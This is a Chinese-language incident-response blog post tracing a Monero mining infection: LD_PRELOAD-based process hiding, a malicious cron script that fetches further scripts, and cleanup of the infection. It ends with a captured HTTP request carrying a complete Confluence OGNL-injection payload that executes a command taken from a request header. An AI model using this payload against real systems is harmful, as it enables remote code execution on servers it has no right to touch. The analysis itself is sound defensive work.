警告，恶意域名疯狂外联，原因竟然是……

本文主要是介绍警告，恶意域名疯狂外联，原因竟然是……，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

前言

在某个风和日丽的下午，突然收到客户那边运维发过来的消息说我司的DTA设备在疯狂告警，说存在恶意域名外联，我急忙背上小背包前往客户现场，经过与客户协同排查，最终确定该事件为一起挖矿病毒引起的恶意域名外联事件。（因客户信息保密且为了保证文章逻辑完整性，部分截图为后期追加图）

事件分析

一看域名地址donate.v2.xmrig.com，xmrig这不门罗币的矿池地址吗，看来是个挖矿事件，从DTA上的告警时间和告警事件来看，确实是个挖矿事件。经过在DTA产品上分析发现该IP的流量信息，发现该IP主机一直在对该恶意域名进行外联请求，经过和客户沟通之后，对被害主机进行上机排查。执行top命令并未发现存在CPU异常，执行ps命令也未发现恶意进程，netstat命令也未发现恶意ip连接等行为。   

但是在DTA上，该台主机确实一直在请求恶意域名，应该是做了一些隐藏进程的手段，现在类似这种挖矿病毒存在一种主流的隐藏方法，那就是通过LD_PRELOAD来修改运行链接库，修改LD_PRELOAD之后允许在你的程序运行前加载所修改的动态链接库。那去/etc目录下看看是否存在ld.so.preload这个文件

用系统的自带的ls命令并未发现ld.so.preload文件，这里怀疑是一些系统自带的ls等命令已经被动态链接库所hook劫持了，导致查看不到文件，所以上传了一个busybox，不用系统自带的命令来进行查看。

ld.so.preload这个文件，在系统中默认不存在这个文件或者该文件为空这里直接通过busybox把这个文件给进行删除

然后再次使用top命令进行查看

执行lsof -p [pid]命令来定位挖矿木马进程文件

    来到该目录下发现如下

kill -9 3582558去kill掉挖矿木马进程，然后再把挖矿木马一并删除，但是一段时间后，DTA设备上又传来了失陷告警，且该目录下又重新生成了挖矿程序。使用crontab -l 检查定时任务，发现一个可疑定时程序，该定时执行一个a.sh文件

该脚本主要内容如下    

定义环境变量用来存取配置文件，然后检查ddns.log文件是否存在，这里的逻辑是检查当前时间与文件最后修改时间的差值。如果这个差值大于 6 秒，脚本输出 "process is not running"，表示进程可能已经停止运行。如果差值不超过 6 秒，脚本认为进程可能仍在运行。最后根据不同用户来curl不用的sh文件，ai.sh一些关键代码如下

杀死大于CPU使用率超过65%的所有进程，防止一些其他挖矿程序或者其他干扰CPU进程的运行

下载的文件名和受害机上文件一致，且确定为挖矿程序。   

对此删除掉恶意定时任务、挖矿病毒，重新kill进程，DTA恢复正常，无失陷流量告警。挖矿病毒应急算是解决完了，要继续还原攻击者的攻击链路，根据挖矿木马可以分析出攻击者最先落地的是一个a.sh文件，根据a.sh文件名和落地时间和/var/log/messages里面所显示的脚本首次启动时间去查找日志，通过在态感、WAF、日志审计系统等设备再结合开放的端口服务结合查找，终于定位到一条如下攻击日志。

POST /pages/doenterpagevariables.action HTTP/1.1 Host: xxxxx:8090 Connection: keep-alive Content-Length: 599 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: xxxxxx Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Cookie: xxxxx cmd: 恶意命令 queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027     通过再次复现验证